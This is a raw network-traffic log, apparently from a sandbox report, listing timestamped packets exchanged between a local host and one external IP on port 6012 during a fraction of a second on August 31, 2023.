Aug 31, 2023 16:50:49.779936075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.779968023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.779994965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780019999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780045033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780047894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.780071020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780105114 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.780148983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.780855894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780893087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780919075 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780922890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.780945063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780970097 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.780987978 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.780996084 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781023026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781029940 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781049967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781054020 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781075954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781090975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781100988 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781114101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781136036 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781141043 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781162024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781171083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781188011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781198025 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781213999 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.781225920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781251907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.781276941 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.782185078 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.782212973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.782239914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.782246113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.782265902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.782269955 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.782291889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.782298088 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.782329082 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.782352924 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783015013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783045053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783073902 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783082962 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783106089 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783107042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783134937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783143997 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783162117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783171892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783201933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783204079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783226967 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783231020 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783257008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783263922 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783282995 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783296108 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783309937 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783319950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783340931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783349991 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783374071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783376932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783405066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783409119 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783431053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783442974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783473015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783485889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783485889 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783499956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783524990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783529997 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783550024 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783560038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783576012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783581018 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783602953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783605099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783631086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783647060 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783658028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783678055 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783684015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783711910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783720970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783736944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783762932 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783770084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783788919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783814907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783833027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783842087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.783859015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.783886909 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.801250935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801305056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801336050 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801378012 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801408052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801450968 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.801470995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.801553965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.801553965 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802381039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802439928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802473068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802494049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802499056 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802561998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802561998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802608967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802628040 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802651882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802666903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802699089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802726030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802745104 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802774906 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802798986 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802813053 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802845955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802891016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802907944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802907944 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.802946091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.802951097 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803004026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803006887 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803050041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803102970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803188086 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803447008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803515911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803558111 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803559065 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803601980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803632021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803639889 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803685904 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.803704977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.803744078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.804789066 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.804837942 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.804881096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.804900885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.804900885 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.804924011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.804950953 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.804969072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.804986954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805012941 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805054903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805054903 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805080891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805100918 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805128098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805145025 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805175066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805188894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805207014 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805233002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805248022 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805277109 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805301905 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805326939 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805341005 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805411100 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805440903 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805454016 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805495977 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805496931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805533886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805541039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805557966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805584908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805596113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805629015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805671930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805716991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805718899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805718899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805761099 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805778027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805778027 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805803061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805846930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805860996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805860996 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805890083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805932045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.805933952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.805975914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806005001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806020021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806026936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806042910 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806063890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806104898 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806108952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806123972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806153059 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806171894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806196928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806233883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806246996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.806256056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.806318045 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.822840929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.822897911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.822962046 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.822994947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823008060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823052883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823052883 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823071957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823079109 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823134899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823146105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823203087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823214054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823277950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823282957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823345900 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.823353052 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.823414087 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824045897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824095011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824145079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824177980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824193954 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824217081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824217081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824243069 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824266911 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824289083 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824326038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824335098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824348927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824381113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824389935 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824429989 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824440002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824477911 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824484110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824526072 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824536085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824573040 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824579954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824618101 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824624062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824665070 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824672937 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824713945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824727058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824760914 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824770927 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824810028 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824816942 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824862957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824866056 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824915886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.824918032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824979067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.824980021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825036049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825037956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825088978 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825097084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825134993 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825143099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825185061 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825191975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825232983 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825243950 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825280905 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825309038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825335026 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825345993 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825381994 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825390100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825431108 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825437069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825480938 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825488091 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825527906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825536013 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825576067 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825582981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825624943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825634956 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825670958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825680971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825721979 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825726032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825771093 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825778008 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825819969 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825824976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825870991 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825881958 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825917959 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825925112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.825965881 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.825972080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.826035976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.826042891 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.826082945 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.826093912 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.826131105 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.826136112 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.826179981 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.826189995 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.826240063 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827326059 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827384949 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827421904 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827434063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.827445030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.827486992 CEST	49774	6012	192.168.2.8	195.201.254.123
